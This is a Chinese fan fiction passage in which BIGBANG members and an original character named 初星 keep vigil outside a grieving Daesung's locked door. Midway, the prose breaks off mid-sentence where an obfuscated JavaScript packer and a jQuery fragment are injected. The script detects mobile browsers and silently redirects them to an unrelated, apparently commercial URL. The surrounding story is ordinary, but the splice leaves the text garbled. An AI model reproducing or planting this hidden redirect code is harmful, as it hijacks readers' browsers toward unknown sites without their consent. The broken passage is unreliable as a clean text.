至龙枕在初星的腿上并没有沉睡多久,或许只是几个短暂而不安的浅眠周期。一点轻微的、来自楼上地板的响动——也许是脚步声,也许是门开关声——就让他猛地惊醒,身体弹坐起来。
他眼神里还残留着迷茫和血丝,但迅速被焦虑覆盖,“几点了?”
初星活动了一下发麻的腿,看了一眼时间,“刚过三点,楼上有动静吗?”
至龙已经抓起手机,飞快查看信息。“永裴刚发消息说…”他紧盯着屏幕,眉头却没有舒展,反而锁得更深,“大声他终于开门了,拿了放在门口的水进去。但他还是不说话…就只是拿了水,然后又关上门了。”
这算是一个微小的进展,但不足以让人安心。至龙烦躁地扒了下头发,在客厅里焦躁地踱了两步,脚步沉重。“不行,我上去看看。”
“好。”初星也站起来环顾四周,想做点什么,比如弄点吃的,但脑海里浮现出自己把厨房搞得一团糟的画面,又果断放弃了这个念头。
她拿起自己的手机,屏幕的光照亮她同样带着倦意的脸:“我打电话叫醒经纪人欧巴,或者让助理现在就去买?买点清淡的粥、汤,还有容易入口的三明治什么的,多买一些送上来。”
至龙点点头,眼神柔和了一瞬:“嗯,好。让他们小心点,别被记者跟到。”
“我知道。”初星已经开始翻找号码,指尖快速滑动,“你先上去吧,吃的到了我让他们直接送上去。”
他没再说什么,只是握了一下她的手,随后转身,像是重新披上沉重铠甲的战士,打开门,重新回到依旧被浓重阴霾笼罩的楼上。
食物拿到后,初星和经纪人一前一后上楼,来到宿舍门口打开门。
宿舍内的气氛更加压抑沉重,窗帘紧闭,晨曦被隔绝在外,只开了一盏角落里的昏暗落地灯。永裴和TOP坐在客厅中央,两人脸色灰败,眼窝深陷,听到开门声同时抬起头,面上带着期盼又害怕是坏消息的复杂情绪。胜利蜷在单人沙发里浅眠着,但眉头紧锁,嘴唇干裂。至龙站在紧闭的门前,背对着门口,身影在昏暗中显得格外孤寂。
听到动静,至龙转过身。他看衣服初星,又看向经纪人,用眼神询问了一下情况,经纪人摇了摇头,说记者还在,情况不乐观。
初星将袋子放在茶几上,动作轻柔。“买了些粥和汤,还有三明治,大家多少吃一点吧,不然身体撑不住。”
永裴勉强扯动嘴角,露出一个比哭还难看的笑容:“谢谢初星了。”但他没有动。TOP也低声道了谢,抬手揉了揉胀痛的太阳穴,同样没有食欲。
至龙走到初星身边,声音低哑得几乎只剩气音:“他刚才拿了水进去后,又没动静了。一点声音都没有。”
初星拿出最清淡的青菜粥,走到门边,犹豫了一下,然后轻缓地敲了敲门。
“大声欧巴?”她尽量让声音听起来平稳温和,不带任何压迫感,“我是初星。我们买了点粥,放在门口了,是青菜粥,很清淡的。你饿的时候就拿进去吃一点,好不好?多少吃一点。”
门内没有任何回应,连呼吸声都听不见。
初星等了几秒,心里叹了口气,弯下腰放在门边的地上。
她退回至龙身边,对他无奈摇了摇头。
至龙握紧了拳头,又无力地松开,垂在身侧。
永裴站起身,脚步虚浮地走到那碗粥旁边,蹲下身,视线与门把手齐平,对着那条狭窄的门缝低声说:“大声啊,粥放在这里了。是热的。想吃了就出来拿,嗯?或者你想吃什么,告诉哥,哥现在就去给你买。”
依旧没有任何回应。
TOP也走了过来,沉默地站在永裴身边。
经纪人看着这一幕,默默地把其他食物拿出来,一一摆开,像是在完成一项徒劳却必须进行的仪式。
初星站在至龙身边,距离近得能感受到他身体散发出的紧绷和颤抖。她伸出手,握住了他垂在身侧、冰凉的手指,传递着温暖。
时间在压抑的沉默中缓慢爬行,食物渐渐失去温度,变得冰冷,如同此刻宿舍内凝固的气氛。胜利也醒了,抱着膝盖,眼睛红肿地望着大声紧闭的房门。
永裴和TOP轮流在门口劝说,语气从最初的努力鼓励、试图唤醒,渐渐染上了难以掩饰的疲惫、无力和越来越深的焦虑。回应他们的,始终只有门内那片心慌的寂静。偶尔,门内传来的极其微弱的声响都会让门外所有人的身体一震,眼中燃起一丝希望火花,但那火花又在接下来更长久的寂静中熄灭,周而复始,折磨着每个人的神经。
经纪人走到角落接了几个电话,内容无非是公司公关的进展汇报、警方调查的最新情况、以及媒体那边越来越汹涌恶劣的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970392|188757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舆论风向。每接完一个电话,他回到客厅时的脸色就更沉郁一分。
突然,大声房门内传来一阵闷响。
所有人目光齐刷刷钉在那扇门上!
至龙猛然松开初星的手,一个箭步冲到门前,大力拍打着门板:“大声!大声!你怎么了?回答我!你没事吧?!”
里面依旧没有回应。
“大声啊!说句话!让哥知道你没事!求你了!”永裴也急了,不停捶着门板。
TOP眉头紧锁成川字,上前一步,做着是否要强行破门的决定。
就在这空气紧绷到极致的时刻,门内终于传来一声仿佛从喉咙深处挤出来的声音,带着浓重的鼻音和显而易见的绝望:
“对不起……”
仅仅一句话,仿佛耗尽了他全部的生命力,也击溃了大家勉强维持的心理防线。
至龙的泪水不受控制地涌上眼眶,整个人脱力般抵着门板,声音也跟着发颤:“傻瓜…说什么对不起…不是你的错…根本不是你的错…你先开门,让哥看看你,好不好?让哥抱抱你…”
“哥…对不起大家…对不起……”门内传来破碎的哽咽声,断断续续,痛苦万分,“我…我毁了…一切都毁了……”
他说不下去了,只剩下痛哭声从门缝里渗出来,像一把软刀子,一下下缓慢而残忍地割在每个人的心上。
胜利再也忍不住,捂着脸发出啜泣声。永裴仰起头,用力眨着眼睛,试图逼回那即将决堤的泪水。TOP闭上眼,再睁开时,眼底也是一片通红,他抬手,重重地按在至龙的肩上。
“没事了…大声啊…没事了…”至龙重复着无力却又是唯一能说的话,“哥在这里,我们都在,永裴在,胜铉哥在,胜利也在…我们都在这里陪着你,会好的,一定会好的…我们一起扛过去…”
那扇门依然没有打开,但门内传来的哭声,以及门外兄弟无力的安慰,却形成了一种残酷的连接。痛苦不再是被独自囚禁,而是弥漫开来,被所有人共同分担着。
这一刻,没有偶像,没有明星,只有五个被命运无常狠狠击中的年轻人,和一场不知何时才能看到尽头的漫长煎熬。
初星悄悄背过身,擦过眼角,走到厨房,开始烧水。她知道,自己能做的依然有限,但至少,能在他们哭泣的间隙,有一杯热水可以暖一暖冰凉的心。